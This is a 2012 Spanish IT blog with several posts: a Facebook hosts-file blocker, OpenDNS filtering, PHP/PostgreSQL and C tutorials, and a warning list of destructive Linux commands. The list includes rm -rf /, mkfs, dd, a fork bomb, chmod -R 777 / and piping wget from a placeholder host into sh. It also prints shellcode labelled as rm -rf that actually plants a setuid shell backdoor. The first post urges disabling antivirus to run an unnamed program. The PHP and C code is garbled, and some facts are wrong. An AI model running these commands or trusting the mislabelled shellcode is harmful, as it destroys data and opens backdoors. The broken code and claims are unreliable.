jueves, 25 de octubre de 2012
Estoy de vuelta nuevamente, y he vuelto a trabajar como Coordinador informático para una escuela municipal de Temuco. 

Quiero esta vez compartir un programa que será muy útil para todos aquellos que tenemos que gestionar un Laboratorio escolar:  Todos sabemos que Facebook es una red social que por desgracia, se transforma en un distractor de la labor pedagógica, y esto se torna mas difícil si el curso es un séptimo u octavo grado de educación primaria ( o básica como decimos en Chile). Por éste motivo en alguna parte encontré esta pequeña utilidad para Windows que lo que hace es modificar el archivo hosts ubicado en c:\windows\system32\drivers\etc y lo que hace es añadir todas las direcciones posibles de facebook redirigiéndolas a la dirección 127.0.0.1 que es localhost.

Para poder ejecutar este programa, será conveniente mantener desactivado el antivirus ( tranquilos....este programa no tiene virus, ni es un virus) para que sobre-escriba el archivo hosts, y obviamente con una cuenta de Administrador en el caso de Windows XP , en el caso de Windows Vista o Windows 7, deberemos ejecutar el programa estando en modo seguro con cuenta de Administrador, ya que estos Sistemas Operativos protegen el archivo hosts cuando se ejecutan en modo normal.


Ahora si quieren, pueden instalar un servidor web ligero en el equipo en el que ejecutaron el programa, y que en la página principal (index.php o index.html) contenga una página que diga "página bloqueada por el administrador", aunque lo que hice en el laboratorio, fue de partida, colocar un letrero en la ventana, indicando que Facebook estaría bloqueado en el Laboratorio y que sólo se reactivaría a solicitud de un docente para fines pedagógicos.


Bloqueo de pornografía: En otras oportunidades he hablado de los programas de control parental como K9 , Naomi, etc. Sin embargo estos programas constituyen una sobrecarga para equipos  Windows con poca memoria RAM.

Una interesante alternativa, es el servicio Family Shield de OpenDNS el cual otorga dos direcciones de servidores DNS , ya sea para instalar en el Router ADSL o para instalarlas por cada equipo. Estos servidores DNS manejan una completísima lista negra de sitios pornográficos, con lo que al instalar dichas DNS y al intentar acceder a cualquier sitio porno, en vez de cargar la página se redirige al usuario a la página de mensaje de bloqueo.

OpenDNS ofrece tres servicios:OpenDNS Home (gratuíto), OpenDNS VIP (pago ) y OpenDNS Family Shield (gratuíto) y que fue el que escogí. Previamente hay que inscribirse registrando el correo electrónico para que te envíen las direcciones DNS a usar. Yo escogí la gratuita.

Actualización 10/01/2013:
OpenDNS requiere IP fija, por lo que si se tiene Ip dinámica,ésta debe renovarse a través de la cuenta de OpenDNS







miércoles, 3 de octubre de 2012
En el posta anterior aprendimos a como instalar Bitnami WAPP Stack . Ahora una vez ya instalado implementaremos un pequeño ejemplo con Php y Postgresql. Agradecimientos a http://nicaragualinux-sabayon.blogspot.com/ por el ejemplo:


1) Crear usuario en la postgresql:

Abrimos consola de Windows y nos dirigimos a :

C:\Archivos de programa\postgresql\bin>createuser -U postgres -P alfo
(alfo es el nombre del nuevo usuario en este caso).

 Enter password for new user:
 Enter it again:
 Nos preguntará si deseamos que el nuevo usuario sea superusuario. por el, momento y sólo para fines didácticos diremos que sí

 2) Crear base de datos desde la consola windows, Base de datos "escuela" 
    C:\Archivos de programa\postgresql\bin>createdb.exe -h 127.0.0.1  -U alfo  escuela 
     Password: 


3. Entrar a la DB creada, DB escuela  
    C:\Archivos de programa\postgresql\bin> psql.exe -d escuela -U postgres -W 
   o puedes usar tu usuario creado 
    C:\Archivos de programa\postgresql\bin> psql.exe -d escuela -U alfo -W 
     escuela=# 


4. Crear tablas en DB 
   escuela=# create table profesores ( 
   Nombre char(20),apellido char(20),asignatura char(20), telefono numeric(8));


5 poblamos la tabla profesores :

escuela=# insert into profesores (nombre, apellido, telefono) values ('Juan Jose','Perez Soza','26563145'); 
escuela=# INSERT INTO profesores VALUES ('Fred','Quarry ','fisico','25686945');

6 creamos los archivos php`:

 primero crearemos el archivo que maneja la conexión:
<?php
// conex.php
$user = 'alfo';
$passwd = '123456'; // en este caso sustituímos el valor de $passwd
// por la contraseña que entregamos al usuario
// alfo al momento de crearlo
$db = 'escuela';
$port = 5432;
$host = '127.0.0.1';
$strCnx = "host=$host port=$port dbname=$db user=$user password=$passwd";
?>

Guardamos el archivo como conex.php, y ahora crearemos el archivo "consulta.php" desde donde haremos la consulta

<?php
//consulta.php
"C:\AppServ\apache\www\conex.php";
//en include debemos procurar dar la ruta correcta al archivo conex.php
// lo mas comodo sería guardar ambos archivos en el mismo directorio
// en cuyo caso no habría ruta sino include "conex.php".
$con = pg_connect ($strCnx) or die ("Error de conexion.". pg_last_error());
echo "conexion exitosa

";
echo "curso en php con postgres en windows

";
$resultado = pg_query($con, "SELECT * FROM profesores");
(!$resultado) {
echo "Error de busqueda";
exit; }
$filas=pg_numrows($resultado);
($filas==0) {
echo "No se encontro ningun registro\n"; exit; }
else {
echo "

for($cont=0;$cont<$filas;$cont++)
{
$campo1=pg_result($resultado,$cont,0);
$campo2=pg_result($resultado,$cont,1);
$campo3=pg_result($resultado,$cont,2);
$campo4=pg_result($resultado,$cont,3);
echo " $campo1 $campo2 $campo3 $campo4\n";
}
}
pg_FreeResult($resultado);
?>


 Guardamos como "consulta.php" y si hemos hecho todo lo correcto, nos dirigimos al navegador y abrimos consulta.php, y debería mostrarnos los registros de la base de datos profesores.



En un post anterior hablé sobre las distintas soluciones WAMP (Windows-Apache-Mysql-Php) existentes para Windows.

El motivo para escribir este post es el siguiente : Necesitaba comenzar a aprender Postgresql. No tengo nada contra Mysql, sin embargo las razones por las que quiero aprender Postgresql , es que : 1) Postgresql es el Oracle del Software Libre, 2) tiene una gran cantidad de ventajas por sobre Mysql, por ejemplo en el tema de triggers estos se implementaron hace sólo unos pocos años en Mysql, en cambio en Postgresql llevan implementados desde hace ya varios años. En definitiva Mysql cumple con su cometido, pero si quieres aprender mas, es recomendable Postgresql

En un primer intento traté infructuosamente de instalar Postgresql en Windows y tratar de configurar XAMPP para que trabajara con Postgresql. Hice de todo : Descomentar la extensión  php_pgsql.dll, hasta cargar la librería  libpq.dll mediante LoadFile "C:/xampp/php/libpq.dll" en httpd.conf. Todo sin resultado.

Sin embargo encontré una aplicación llamada Bitnami Wapp Stack, que implementa Apache-Php y Postgresql. Se instala como cualquier aplicación de Windows, y al momento de instalar nos pedirá introducir la clave para el usuario postgres de Postgresql y asimismo el usuario puede elegir instalar una serie de frameworks como Cakephp, CodeIgniter, Smarty, Symphony y ZendFramework.

Pero Bitnami, no sólo se queda con WAPP Stack , también implementa soluciones Apache, Mysql  y Php para Linux y Mac.  Asimismo ofrece diversas soluciones de CMS, WIKI, ECM, Bug-Tracking, version control, e-learning, foros entre otras. 

En el próximo post, implementaré un pequeño ejemplo de como trabajar con Postgresql

sábado, 29 de septiembre de 2012
Vanadium.js es una simple pero potente libreria javascript para validar formularios. Permite validar inputs ingresados por los usuarios en cada campo del formulario con tan sólo ingresar la clase a validar en el imput
Por ejemplo : Si quiero validar que en un input type="text" se ingrese sólo letras se debe agregar dentro de la etiqueta input:  class=':alpha'. Si quiero que ese input sea ademas requerido debo agregar: class= ': required :alpha'. Asì de sencillo.

Pero nada mejor que un video para explicar las posibilidades de vanadium.js:

Para que se pueda ejecutar , necesitamos que previamente esté cargado jquery-min.js en la página en que lo vamos a usar. Por defecto Vanadium. js funciona con jquery-1.3.2.min.js pero yo lo he provado con jquery-1.8.2.min.js y funciona excelente.

jueves, 27 de septiembre de 2012




Hace poco en mi país, en la Posta Central de Santiago, uno de los recintos de salud pública que más demanda recibe en la capital del país, una autoridad que se encontraba de visita por dicho recinto se molestó al ver a un trabajador de la Posta y que era la persona encargada de gestionar las atenciones de urgencia, jugando en el computador de su puesto de trabajo al "Solitario" en un momento en que había una alta cantidad de pacientes en la espera de ser atendidos. Cuento corto: Esto le costó el puesto al Director hasta ese entonces de la Posta Central.

Cabe decir que el computador en el cual se habría sorprendido al trabajador , tenía Sistema Operativo Windows, pero independiente del S.O que se tenga, una prioridad al momento de instalar un Sistema Operativo y una prioridad del área informática (o que debiera serlo) es que los computadores de los usuarios destinados para su uso en oficina, no debieran tener instalados juegos de ningún tipo. Lamentablemente Windows complica las cosas ya que si bien se pueden desinstalar los juegos que vienen por defecto tales como el Solitario, el Solitario Spider, Buscaminas y otros, los juegos que vienen como huevos de pascua , vale decir que forman parte de programas como Ms Excel, no pueden ser desinstalados.
Google tampoco contribuye mucho al respecto, ya que si bien se ha caracterizado por sus herramientas de productividad como Google Docs, los famosos "Doodles" también han constituído una fuente de distracción y pérdida de productividad. Uno de los Doodles mas famosos fue el que la compañía le dedicó al famoso juego ochentero "Pacman" en el cual cambiaron la forma de los laberintos para formar la palabra Google. 

Facebook de por sí, como red social, ya es otro factor de pérdida de productividad, el cual se amplifica al incorporar juegos. Aunque una política de bloqueo sería efectiva en dicho caso, si se considera que esta red social no es relevante para los objetivos perseguidos por la empresa, ya que hay muchas empresas que se promocionan a través de esta plataforma.

Si bien, a pesar de que el empleado "sacavueltas" siempre encontrará la forma de hacer el quite a la labor productiva, con una simple medida como esta se reducirían las pérdidas de productividad en empresas públicas y privadas. Hay muchos que poseen un smartphone ( y esto es una tendencia que esta "in crescendo") y que se dedican a  jugar en su smartphone , y uno de los juegos que mas pérdidas de horas laborales ha ocasionado es justamente Angry Birds.

En fin, parece que cualquier medida que se tome, nunca va a ser suficiente por si sola , si no hay la creación de una cultura de trabajo al interior de la empresa, orientada a la calidad y la excelencia.

fuentes

miércoles, 26 de septiembre de 2012


Paso 1: Todos sabemos que Wordpress es uno de los CMS mas conocidos para editar blogs. La instalación es sencilla: Una vez que descargamos el archivo comprimido de su sitio web, y lo descomprimimos, al acceder a la carpeta mediante el navegador y con el servidor Apache en funcionamiento, nos aparecerá el siguiente mensaje:



Nos indica que no hay un archivo de configuración, por lo cual pulsamos el botón "Crear archivo de configuración" con lo cual creará dicho archivo.

Paso 2 : Acá ya comenzamos con el proceso de instalación como tal , y wordpress nos informa que necesitará una serie de parámetros que wordpress necesita para la instalación: Nombre de la base de datos que usará Wordpress, nombre de usuario de la base de datos, contraseña, host de la base de datos y prefijo de tabla. Antes será necesario crear previamente  una base de datos vacía en Mysql/MariaDB/Percona Server llamada 'wordpress' por ejemplo, para continuar con la instalación , ya que de lo contrario no podremos instalar el CMS. Una vez hecho esto pulsamos el botón "vamos a esto".


Paso 3 : Como pueden ver en la imagen superior , en este paso debemos ingresar el nombre de la base de datos , el del usuario de Mysql, la contraseña para conectar a Mysql, el host de la base de datos y el prefijo de tabla.

Paso 4 : Una vez completados los parámetros anteriores , pulsamos "Iniciar la instalación".

Paso 5: Un último paso es entregar los datos del sitio y los datos del usuario de wordpress.


Paso 6 : Una vez terminada la instalación, accedemos a la página wp-login.php con el usuario y contraseña

Paso 7: Arriba se muestra  el panel del control de Wordpress, al que accedemos una vez logueados. A estas alturas ya podemos trabajar con wordpress .

domingo, 23 de septiembre de 2012


Acabo de leer dos post de la bitácora de Javier Gutierrez Chamorro, sobre el PC-DOS y las varias versiones del Disk Operating System. Me entra un poco de nostalgia, ya que cuando cursaba Técnico en Programación conocí el MS-DOS 6.22. y los múltiples trucos que se podían hacer con este sistema que no ofrecía soporte para las particiones FAT32.

Aunque los diversos sistemas operativos tipo DOS, ya se podrían considerarse obsoletos y que no tiene mucho sentido instalarlos en Hardware actual. Hace poco me tocó ver una empresa que ofrece outsourcing a una entidad bancaria de mi país Chile, y me tocó ver que, por ejemplo, que las terminales de consulta de esa entidad operan con IBM PC-DOS 7.0, conectada a un display con botones, que es lo que observa el usuario. Años atrás cuando trabajaba en una empresa de Supermercados, los equipos destinados a la emisión de facturas operaban bajo MS.DOS, las tarjetas de red tenían que ser NDIS compatibles, y para que hubiera conexión con el servidor, aparte de estar cargado el driver correspondiente a la tarjeta de Red se empleaba un programa denominado "kermit" para conectar via telnet al servidor, y toda esta conexión se gestionaba en el autoexec.bat. Asimismo los  TPV  de la cadena de supermercados inicialmente se manejaban bajo MS-DOS,y una cadena de supermercados de venta por mayor( que también era parte de la empresa donde trabajaba) tenía un servidor NOVELL 5.2, el cual corría por debajo MS-DOS 6.22( para instalar Novell primero había que instalar MS-DOS o compatible) todo esto hasta que se inició un plan de cambio de sistemas en la empresa a nivel general y los equipos que corrían dichos sistemas, se evaluó si podían correr Windows XP, en caso contrario se les dio de baja.

En definitiva, mas que por el sistema operativo en si, se echa un poco de menos la cantidad de aplicaciones que se podían correr: Turbo Pascal, Turbo C, MS- Basic, Qedit (un viejo editor de texto para programadores) algunos juegos que se ejecutaban mediante extensores de memoria, que permitían usar los bloques de memoria XMS (recordemos que MS-DOS se ejecutaba con 686 kb los que se podían extender a 1 MB, y estas aplicaciones permitían ocupar toda la memoria disponible en el equipo ). 

En resumen, al parecer aún quedan algunos nichos reducidos para los sistemas operativos DOS.

ver :

sábado, 22 de septiembre de 2012



Reaparezco después de una prolongada ausencia, debido a una gripe y una alergia que me 

tuvieron a mal traer. Es por esa y otras razones que detesto la primavera.

Pero, volviendo a lo nuestro, descubrí un excelente framework para crear sitios web flexibles adaptables. Zurb ha lanzado la versión 2.0 de Foundation, un framework de desarrollo que permitirá a los desarrollares web la creación de sitios web preparados visualizarse en cualquier tamaño de pantalla de cualquier dispositivo.
Este framework de CSS y Javascript cuenta con cuadrículas en la que ajustar los diseños web, botones, formularios, plantillas, etc, para que puedan empezar con desarrollos compatibles con los tamaños de pantallas de cualquier dispositivo, utilizando las últimas tecnologías web existentes.
Para que se puedan hacer una idea, ZURB tiene puesto a Soapbox  como demostración, donde se puede acceder y variar el tamaño del navegador, adaptándose la página a los nuevos tamaños.
sábado, 8 de septiembre de 2012

En mi experiencia como informático, me ha tocado manejar varios programas de Control Remoto de Equipos, desde PcAnywhere , pasando por el Escritorio Remoto de Windows , hasta VNC . Sin embargo esto es algo que puede sorprenderlos.

LogMein es una aplicación servidora de escritorio, la cual permite controlar un equipo que tenga instalada la aplicación desde una interfaz web, si el equipo está conectado a Internet, y cuenta con la aplicación LogMeIn instalada y ejecutándose.

LogMeIn viene en dos versiones : trial y Pro, la versión trial tiene una duración de 30 días con algunas utilerías básicas como control remoto y transferencia de archivos. La versión Pro es mas completa. 


Arriba muestro una imagen de una captura de pantalla, de la interfaz web mediante la cual controlo mi equipo pc de escritorio. Para poder descargar el programa debemos primero crearnois una cuneta en el sitio de LogMeIn, y una vez activada la cuenta podemos descargar e instalar el programa en el equipo que queremos controlar ,. Tras unas pocas configuraciones, podremos acceder a nuestro equipo desde Internet, sin instalar ningún cliente de por medio, sólo accediendo mediante el sitio de LogMeIN y mediante nuestra cuenta ya creada.






Vuelvo a postear, recuperándome de una gripe que me ha tenido a mal traer por estos días.

Hace pocos días atrás Miguel de Icaza, ex-empleado de Microsoft,  fundador de Ximian, creador de la plataforma de programación .Mono y creador de Gnome, señaló que Linux en el pc de escritorio había muerto debido a la filosofía y forma de hacer las cosas mediante la cual se ha desarrollado GNU/Linux. Estas declaraciones motivaron las airadas reacciones de gente importante de la Comunidad GNU/Linux entre ellas Linus Torvalds y Alan Cox.

Pero, mas allá de las declaraciones de Icaza, lo cierto es que en GNU/Linux tenemos mas opciones de escritorio, no sólo GNOME, tenemos KDE, XFCE, Enlightment entre otras. El asunto de porque GNU/Linux sólo está en menos del 1% de los pc's de escritorio en el mundo, va por otros cauces:

1) Microsoft ha tenido por mucho tiempo un público cautivo: Microsoft ha llevado mucho mas tiempo en el escritorio de los usuarios primero con MS-DOS y luego con las sucesivas versiones de Windows. Esto unido a otras políticas no tan sanctas como por ejemplo. obligar a fabricantes de computadores a que vendan sus equipos con windows preinstalado, impedir por todos los medios posibles la instalación de otro sistema operativo en el computador (Esto no sólo ha pasado con GNU/Linux, de hecho en Windows 3.11 se dice que Bill Gates ordenó introducir  un virus que impedía al usuario instalar PC-DOS).

2) GNU/Linux no es para los juegos mas populares:  Si bien los fabricantes de videojuegos se han dedicado mas a crear versiones para consolas de juegos, hay que considerar que todavía hay un número importante de juegos que se venden para pc, y la mayoría de ellos están hechos para ser instalados en Windows. El uso de DirectX como plataforma en desmedro de otros estándares como OpenGL ha mermado la posibilidad de ejecución de éstos en GNU/Linux . Si bien existen opciones como ejecutarlos bajo Wine o CrossOver, en muchos casos la configuración que se debe llevar a cabo para una correcta ejecución es tan compleja que desalienta al mas entusiasta, sin mencionar los consumos de memoria y capacidad de procesamiento. Existen varios fabricantes que han lanzado juegos nativos para GNU/Linux , estos no gozan de la popularidad que tienen los hechos para Windows.

3) Aplicaciones no son tan poderosas como las comerciales: Si bien las aplicaciones en GNU/Linux han tenido un notable avance, todavía tienen  problemas para lograr un comportamiento 100% similar a las comerciales , por ejemplo GIMP v/s Photoshop si bien GIMP ha evolucionado bastante como editor de imágenes, hay algunas cosas en las cuales queda por detrás de la suite comercial. Tal vez el que los programas libres no sean tan completos como los propietarios, se deba al asunto de patentes de software

4) multiplicidad de distribuciones: La diversidad de opciones , es otro aspecto que tal vez juegue en contra, Christian Schaller , otro desarrollador de GNOME  apuntó en su blog que GNU/Linux no cuenta con un único sistema de distribución de paquetes en específico, sino que hay uno para cada distribución. Y que los ciclos de distribución entre cada distribución varían notablemente.


Sin embargo, a pesar de todo GNU/Linux ha mantenido presencia imperante en el área de servidores, y actualmente Android tiene un importante cuota de mercado en tablets y smartphones. Android usa el kernel Linux, con lo que podemos darnos una idea que no todo es computadores,notebooks y netbooks


sábado, 1 de septiembre de 2012




Todos los que conocemos GNU/Linux  sabemos que con la cuenta de root podemos hacer muchas maravillas así como grandes desastres, y es por eso que muchas distribuciones limitan el acceso a esta cuenta o incorporan shells adicionales para modificar cambios peligrosos en el sistema.

Existe una serie de comandos que han ganado fama por su capacidad de daño:

1) Eliminar casi todo

# rm -rf /

Al ejecutar este comando se borraran casi todos los archivos de sistema(salvo los archivos de procesos en la carpeta /proc

versión hexadecimal:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

 2)Formateo del sistema

# mkfs.ext3 /dev/sda

Formatea el disco o dispositivo sda , con la desaparición de todos los archivos presentes en él

3) Bomba Fork


Una bomba fork es una forma de ataque del tipo DoS (causa que un servicio o recurso sea inaccesible a los usuarios) que implementa la operación fork (creación de una copia de sí mismo), o alguna funcionalidad equivalente mediante la cual un proceso es capaz de crear otro proceso.

Resumiendo, una bomba fork es un proceso que se copia a si mismo muchas veces para colapsar tu sistema. Y aclarando falsos mitos, no es una bomba lógica, ni tampoco un fallo del kernel, ni mucho menos se trata de algo liberado por uno de los programadores del kernel.

:(){:|:&amp;};:
 
Aunque puede tener varias, como por ejemplo:

$ ubunteate(){ ubunteate|ubunteate& };ubunteate

Pero tal cosa podemos prevenirla, editando el archivo adecuado:

$ sudo gedit /etc/security/limits.conf

Ahora localizaremos, al final del archivo, la siguiente línea:

# End of file

Pues justo encima de esa, podemos introducir la siguiente línea:

* hard nproc 1000

Quedando así las dos últimas líneas del archivo:

* hard nproc 1000
# End of file

Guardamos y cerramos el archivo y listo.

4) Colapsar el Sistema de Archivos

 Si ejecutamos:

# cualquier-comando > /dev/sda

Como por ejemplo:

# ls > /dev/sda

Con este comando, se envían bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.


5) Ejecutar un script de forma automática

En algunos foros linuxeros nos dicen que descarguemos un script con el siguiente código:

$ wget http://web.com/script.sh O | sh

O peor aún, como root:

# wget http://web.com/script.sh O | sh

lo que hace este comando es descargar y ejecutar inmediatemente el script. Imaginense si uno de esos scripts contiene uno de los comandos que explico acá
uds. tendrían su sistema GNU/Linux, MacosX o cualquier derivado de UNIX ya destruído. Recomiendo sólo descargar el código y examinarlo antes de ejecutarlo y obtenerlo sólo de fuentes confiables.

6)Mover un archivo

EL comando mv sirve para cambiar la ubicación de un archivo

$ mv directorio-o-archivo-a-mover directorio-al-que-mover

Como por ejemplo:

$ mv ~/script.sh ~/Documentos

Pero debes evitar que el directorio destino  sea /dev/null, pues es un directorio inexistente, y jamás podrás obtener de nuevo esos archivos, por ejemplo:

$ mv ~/script.sh /dev/null

Eso hará desaparecer para siempre el script. Pero aún es peor si ejecutas, por ejemplo:

$ mv ~ /dev/null

Lo cual eliminará para siempre tu carpeta de usuario, con tus imágenes, vídeos, música, documentos, etc. Podemos comprobar la no existencia de ese directorio, vayamos primero al directorio /dev, el cual, supuestamente aloja null.:

$ cd /dev

Lo cual no genera ningún problema, y vamos a buscar ahora null:

$ ls

Lista demasiado grande para ponerse a buscar, mejor facilitarnos la vida:

$ ls | grep null


Si nos devuelve null, que lo hará, es que existe, pero eso no nos confirma que sea una carpeta, para ello utilizaremos:

$ ls -d

Que solo nos mostrará las carpetas, aunque también podemos filtrarlo por la palabra null:

$ ls -d | grep null

Y no les devolverá nada, porque no ha encontrado null como carpeta. Aún puedes probar:

$ cd null

Y nos dirá que no es un directorio. Por lo tanto, fijarse bien cuando se mueva algo.

7) Rellenar el Disco Duro

 También disponemos de un comando en Linux:

# dd if=/dev/urandom of=/dev/sda

Que simplemente rellena con datos aleatorios todo el espacio vacío en el disco duro, lo cual, como podemos imaginar, genera un caos tremendo en el sistema.

8) Te doy permiso para lo que quieras

También debemos de tener cuidado a la hora de dar permisos a los directorios y a las carpetas, como por ejemplo:

# chmod -R 777 /

Este comando da permisos totales a todos los directorios del sistema, ya que el comando chmod es el encargado de dar permisos, la opción R da permiso a todo lo contenido en el directorio, 777 es el mayor permiso posible, realmente inseguro y, la barrita, como dijimos anteriormente, es todo el sistema. Esto daría permiso a cualquier agente de hacer lo que sea con tu sistema, cuidado con el trío de los 7 y dónde los aplicas.

9) Te quito todos los permisos

# chmod -R -777 /

Este comando es el inverso del anterior , quita todos los permisos a todos los usuarios
y al ejecutarlo lo que tendrán será un hermoso  signo ">" como shell y no podrán realizar nada. Este error lo cometió un ex-jefe mío en la empresa de Supermercados en la que yo trabajaba : en vez de denegar permisos a una carpeta específica , durante la instalación del Sistema de Ventas, denegó el acceso a la raíz y esto lo hizo en aquellos años en un servidor con Red Hat 9, llevándose consigo las "felicitaciones" del Sub-Gerente de Informática.

Pero yendo de nuevo al tema, otra variante es  la de los tres ceros:

# chmod -R 000 /

Similar a la anterior elimina todos los accesos privilegiados a los usuarios en el sistema


Fuente:


jueves, 30 de agosto de 2012





En el post anterior estuve hablando sobre la versión  del compilador  gcc para windows, y explique que para  ejecutar gcc en Windows necesitabamos una de estas opciones:

1) MinGW : Esta es una colección de ficheros de cabecera y librerías que permiten usar gcc y generar programas para Windows plataforma de 32 bits, que no necesitan de librerías de ejecución externa.

MinGW tal como su nombre lo dice : Minimalist GNU For Windows, sólo entrega unas herramientas básicas para poder trabajar con gcc. En el sitio web del proyecto se explica que no esta pensado para el desarrollo de aplicaciones POSIX, dentro de Windows. Para ese tipo de tareas avanzadas, se debe echar mano de otra herramienta llamada CYGWIN.

Actualmente viene con MinSys , que es una herramienta la cual permite implementar una capa de shell 

2) CYGWIN: Es una completa colección de programas y librerías GNU, ademas de una dll (cygwin1.dll) que actúa como una API GNU/Linux. No es un emulador de Linux, no se pueden ejecutar binarios de GNU/Linux en el, tal como a la inversa lo hacen Wine y CrossOver  en GNU/Linux.

Cygwin se instala como un programa de Windows cualquiera y consta de un instalador de unso 600 kb. Durante el proceso de instalación nos permite elegir los paquetes a instalar ( si vamos a instalarlos desde internet), y la descarga y tiempo que demorará la  instalación de éstos dependerá de la cantidad de paquetes que se haya escogido.

Descarga MinGW

Descarga CygWin






El lenguaje de programación C fue creado por Dennis Ritchie en 1972 en los laboratorios Dell, derivado de los lenguajes B y BCPL.

Es un lenguaje de alto nivel , pero de los lenguajes de este nivel es el que más se acerca al lenguaje máquina, Su importancia radica en que Sistemas Operativos como Windows Y GNU/Linux sehan construído en base a este lenguaje.

A mediados de los 80, Bjarne Straustroup , creó el Lenguaje C++, el cual permite la manipulación de objetos, y se le agregaron posteriormente facilidades para programación generica, junto a las ya incorporadas de programación estructurada y programación orientada a objetos.

En mis tiempos de estudiante de programación aprendí a programar en C/C++ usando el compilador Turbo C++  de Borland. Tengo que decir que con Turbo C++ se podían hacer programas con presentaciones muy profesionales, sin embargo habían muchas cosas de las que aprendí en este compilador que no son ANSI C o ISO C++ , sino que son propias del lenguaje Turbo C++ de Borland. Por ejemplo la librería conio.h  que es la que usaba para el manejo de pantalla, es exclusiva de Borland, y que para poder hacer cosas similares a las que se puede hacer en esta librería  en GNU/Linux es necesario manejar una librería llamada ncurses.h
aunque para muchos les es difícil usarla. Existe un proyecto llamado conio4linux que es una implementación de conio.h de Borland y que incluye varias de las funciones Borland.

Pero , continuemos con el tema.

INSTALACION DE COMPILADOR GCC

GCC es el compilador estándar del proyecto GNU. Por lo general viene  en todas las distribuciones GNU/linux. Si no está instalado, tenemos dos opciones : 1) Instalarlo mediante consola a través del manejador de paquetes de nuestra distribución, 2)Instalarlo de forma gráfica a través de un Administrador de paquetes.

En Ubuntu/Debian y derivadas, podemos instalarlo mediante apt:

$ sudo apt-get install gcc-4.7.1 gcc-4.7.1-doc gcc-4.7.1-locales gcc-4.7.1-multilib

La otra opción es mediante el gestor de paquetes de Synaptic, en la cual verificamos los paquetes ya señalados arriba, que no estén instalados y los marcamos para instalación.

PRIMER  PROGRAMA EN C

Por lo general, muchos programadores de C/C++ en GNU/Linux utilizan vi como editor para sus programas, o emacs,. Sin embargo vi es un editor poderoso pero complejo de manejar para un principiante. Lo mas sencillo es usar un editor como pico o nano. pico es un editor de texto para sistemas Unix y basados en Unix que esta integrado con el sistema de correo Pine. ambos desarrollados por la Universidad de Washington , sin embargo, su licencia no es de software libre por lo que muchas distribuciones los han marginado y en su reemplazo incorporaron nano que es un clon de pico.

Escribiremos nuestro primer programa en C.

#include

// Estas línea son  comentarios y serán ignoradas por el compilador
// Observemos la sección include . Esa es la librería
// estándar de C y la más básica, todo programa debe 
// tenerla incorporada  

main()
// main es la función principal de todo programa en C
{
  printf("Hola Mundo\n");
// Se muestra la frase "Hola Mundo" en pantalla , y se introduce un salto de línea al final
}

guardamos el programa como "holamundo.c"


COMPILANDO EL PROGRAMA 

Una vez compilado el programa debemos compilarlo primero  y luego linkearlo. En los compiladores comerciales como Turbo C++ , Watcom C++, etc. estos pasos el compilador los realiza de una sola vez.

En GCC para compilar nuestro programa escribiremos en la consola:

$ gcc holamundo.c -o holamundo 

Con esta línea creamos el ejecutable holamundo. Si se ejecuta 

$ gcc holamundo.c -c

Se compilara el programa , pero el linkeado se hará por defecto en el archivo a.out

Para la ejecución del programa debemos anteponer ./ al nombre del ejecutable, en este caso 
$./holamundo
Hola Mundo

Otra forma de compilar el programa es la siguiente:

$ gcc holamundo.c -c
$ gcc holamundo.o -o holamundo

Esta opción es un poco más avanzada ya que nos permite, en caso de programas mas avanzados, incluir las correspondientes librerías.

Mas adelante veremos las diversas funciones de C como lenguaje,y veremos otros ejemplos
Para los usuarios de Windows, en otro post explicaré como instalar gcc en Windows o ver algunas herramientas como CygWin que nos permite ejecutar aplicaciones GNU en Windows.


 

sábado, 25 de agosto de 2012


Canonical ha anunciado la disponibilidad de una sub-versión de Ubuntu 12.04. La versión 12.04.1 trae soporte para los SOC (server-On-Chip) Calxeda, por lo que las empresas pueden prepararse para un centro de datos dominado por bajo consumo,y servidores hiperescala probando sus cargas de trabajo en el nuevo hardware ahora.
Los actuales usuarios de la versión 12.04 no tienen que hacer nada ya que las actualizaciones se empujan de forma automática. Sin embargo, aquellos que están planeando instalar 12,04 se les recomienda que usen este lanzamiento, ya que viene con todas las actualizaciones, correcciones de errores y mejoras realizadas durante este período, ya  preinstaladas.
Hay que recordar que Ubuntu 12.04 es una versión de soporte a largo plazo o LTS, la cual será apoyada por actualizaciones de seguridad por un período de 5 años.
Fuente:






ArchLinux ha llegado a ser una distribución GNU/Linux de culto para muchos linuxeros. Sin embargo, su instalación es bastante difícil para quienes no son linuxeros extremos.

Manjaro Linux es una distribución que ofrece todo lo bueno de Arch, pero sin liar al usuario con el proceso de instalación. Su actual número de versión es la 0.8.

Phillip Müller es uno de los desarrolladores de Manjaro Linux. Anteriormente trabajó en Chakra Linux. En una entrevista señala que : "Manjaro Linux es una distribución Linux basada en instantáneas de bien probado de los repositorios de Arch Linux y será 100% compatible con Arco. Gestionamos nuestro repositorio con una herramienta propia desarrollada llamada BoxIt que está diseñado como git ".

El objetivo del proyecto es según palabras de Müller: "crear una distribución de Linux ligera que es simple, hasta la fecha, rápido, fácil de usar y que sigue el principio KISS".
Manjaro usa por defecto el escritorio XFCE, ligero pero rápido, y está disponible como una distribución tipo Live. Se está trabajando para crear versiones de Manjaro que vengan con KDE o GNOME, y de hecho ya hay versiones para descarga.

 "Arch Linux es una gran distribución de GNU/Linux, pero la instalación y configuración requiere tiempo y experiencia....Manjaro Linux proporciona un proceso más fácil de fácil instalación, servicios de gestión de controladores gráficos, pre-configurado Xfce con algunos extras útiles y una interfaz gráfica de usuario Administrador de configuración también está en fase de desarrollo."dice Müller.

